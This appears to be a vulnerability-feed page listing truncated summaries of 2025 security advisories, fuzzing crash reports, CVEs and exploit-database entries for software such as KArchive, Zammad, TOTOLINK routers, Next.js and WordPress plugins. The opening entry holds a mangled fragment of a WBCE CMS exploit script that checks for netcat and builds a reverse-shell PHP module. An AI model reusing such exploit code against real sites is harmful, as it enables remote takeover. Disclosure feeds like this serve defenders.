WBCE CMS 1.6.3 - Authenticated Remote Code Execution (RCE)

Exploit Title: WBCE CMS " exit 1 fi if -z "$which nc" ; then echo "! Netcat is not installed." exit 1 fi ip=$1 port=$2 rm -rf shellModule.zip rm -rf shellModule mkdir shellModule echo Crafting Payload cat shellModule/info.php ?php / @category modules @package Reverse Shell @author Swammers8 @link...

OSV-2025-258 Global-buffer-overflow in parseExtraField

OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=408025088 Crash type: Global-buffer-overflow READ 1 Crash state: parseExtraField KZip::openArchive KArchive::open...

OSV-2025-256 Global-buffer-overflow in QByteArray::QByteArray

OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=408025086 Crash type: Global-buffer-overflow READ 15 Crash state: QByteArray::QByteArray KZip::openArchive KArchive::open...

PT-2025-22633 · Git +1 · Archive

Name of the Vulnerable Software and Affected Versions: KArchive affected versions not specified Description: The software suffers from a global-buffer-overflow read issue. The crash occurs during the parseExtraField function, within the KZip::openArchive and KArchive::open functions...

PT-2025-15070 · Zammad · Zammad

Name of the Vulnerable Software and Affected Versions: Zammad versions 6.4.0 through 6.4.1 Description: The issue allows an authenticated agent with knowledge base permissions to use the Zammad API to fetch knowledge base content that they have no permission for. Recommendations: For versions 6.4...

PT-2025-18675 · Totolink · Totolink Ca300-Poe

Name of the Vulnerable Software and Affected Versions: TOTOLINK CA300-POE version 6.2c.884 B20180522 Description: A command injection issue was discovered in the recvUpgradeNewFw function via the fwUrl parameter. This issue allows attackers to execute arbitrary commands via a crafted request...

PT-2025-18673 · Totolink · Totolink Ca300-Poe

Name of the Vulnerable Software and Affected Versions: TOTOLINK CA300-POE version 6.2c.884 B20180522 Description: A command injection issue was discovered in the msg process function via the Port parameter. This issue allows attackers to execute arbitrary commands via a manipulated request...

DSA-5893-1 tomcat10 - security update

Bulletin has no description...

Next.js Middleware 15.2.2 - Authorization Bypass

Exploit Title: Next.js Middleware Bypass Vulnerability CVE-2025-29927 Date: 2025-03-26 Exploit Author: kOaDT Vendor Homepage: https://nextjs.org/ Software Link: https://github.com/vercel/next.js Version: 13.0.0 - 13.5.8 / 14.0.0 - 14.2.24 / 15.0.0 - 15.2.2 / 11.1.4 - 12.3.4 Tested on: Ubuntu...

CVE-2025-0468

Software installed and run as a non-privileged user may conduct improper GPU system calls to subvert GPU HW to write to arbitrary physical memory pages. Under certain circumstances this exploit could be used to corrupt data pages not allocated by the GPU driver but memory pages in use by the kern...

CVE-2025-32262

Technical details about CVE-2025-32262 are not provided in the supplied documents. The description notes a CSRF in RDP Wiki Embed (up to version 1.2.20) but lacks specifics on affected versions, impact, exploitability, or fixes.

CVE-2025-25178

A security vulnerability exists in the Imagination Technologies GPU Driver (Graphics DDK) that allows an unprivileged user to conduct improper GPU system calls. This flaw results in kernel system memory corruption , which can lead to unauthorized memory access, memory manipulation, and system ins...

CVE-2025-0468

A security vulnerability exists in the Imagination GPU Driver (specifically identified in some records as Graphics Ddk ) where software running as a non-privileged user can perform improper GPU system calls. This allows an attacker to subvert the GPU hardware to write to arbitrary physical memory...

CVE-2025-27520 BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. A Remote Code Execution RCE vulnerability caused by insecure deserialization has been identified in the latest version v1.4.2 of BentoML. It allows any unauthenticated user to execute...

WordPress Table Block by RioVizual plugin <= 2.3.1 - Cross Site Request Forgery (CSRF) vulnerability

Cross Site Request Forgery CSRF vulnerability discovered by Mika in WordPress Plugin Table Block by RioVizual versions = 2.3.1...

WordPress Revive.so plugin <= 2.0.3 - Broken Access Control vulnerability

Broken Access Control vulnerability discovered by theviper17 in WordPress Plugin Revive.so versions = 2.0.3...

WordPress WP Event Manager plugin <= 3.2.0 - Broken Access Control vulnerability

Broken Access Control vulnerability discovered by Trương Hữu Phúc truonghuuphuc in WordPress Plugin WP Event Manager versions = 3.2.0...

WordPress Ai Image Alt Text Generator for WP plugin <= 1.1.1 - Broken Access Control vulnerability

Broken Access Control vulnerability discovered by Peter Thaleikis in WordPress Plugin Ai Image Alt Text Generator for WP versions = 1.1.1...

Improper Access Control

org.opendaylight.sfc:sfc-parent is vulnerable to Improper Access Control. The vulnerability is due to flaws in the Shiro-based RBAC mechanism due to improper enforcement of role-based access control, allowing attackers to execute privileged operations via crafted requests...

PT-2025-14970 · Unknown · Illid Advanced Woo Labels

Name of the Vulnerable Software and Affected Versions: ILLID Advanced Woo Labels versions n/a through 2.14 Description: The issue is related to Improper Neutralization of Input During Web Page Generation, also known as Cross-site Scripting, which allows Stored XSS. This means that an attacker can...